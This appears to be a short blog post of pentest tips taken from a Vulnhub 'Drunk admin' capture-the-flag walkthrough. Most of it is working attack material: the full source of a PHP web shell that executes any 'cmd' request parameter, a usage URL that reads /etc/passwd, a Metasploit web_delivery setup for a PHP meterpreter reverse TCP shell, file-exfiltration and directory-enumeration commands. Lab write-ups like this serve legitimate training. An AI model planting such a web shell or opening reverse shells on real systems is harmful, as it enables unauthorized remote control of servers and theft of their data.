Owasp Broken Web Apps - Owasp Bricks Challenge walkthrough
Posted in Writeups on July 10, 2018
Posted in Writeups on March 8, 2018
Here are some pentest tips & tricks that I got from solving the Vulnhub Drunk admin challenge. You’ll find my detailed walkthrough here.
<!-- Inpired by DK's Simple PHP backdoor (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
exec($cmd, $results);
foreach( $results as $r )
{
echo $r."<br/>";
}
echo "</pre>";
die;
}
?>
Usage: http://192.168.217.6:8880/images/c53d15af2ef1513bd872612143c0adc8.php?cmd=cat+/etc/passwd
msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 1
target => 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.217.3
lhost => 192.168.217.3
msf exploit(multi/script/web_delivery) > set srvport 9876
srvport => 9876
msf exploit(multi/script/web_delivery) > set lhost 192.168.217.3
lhost => 192.168.217.3
msf exploit(multi/script/web_delivery) > exploit
* Then execute the command displayed by Metasploit on the server via the Simple PHP Webshell
download -f FOLDER
and serve them on a Web server local to your machinecd FOLDER_YOU_WANT_TO_SERVE; php -S localhost:8000
# dirb http://192.168.217.6:8880 /usr/share/dirb/wordlists/common.txt -o dirb.log
# cat dirb.log | grep "CODE:200" | cut -d" " -f2 > urls.txt
# cat dirb.log | grep "==> DIRECTORY:" | cut -d" " -f3 >> urls.txt
# eyewitness --headless -f /home/pentesterland/urls.txt
If you have any questions or suggestions, please leave a comment.
See you next time!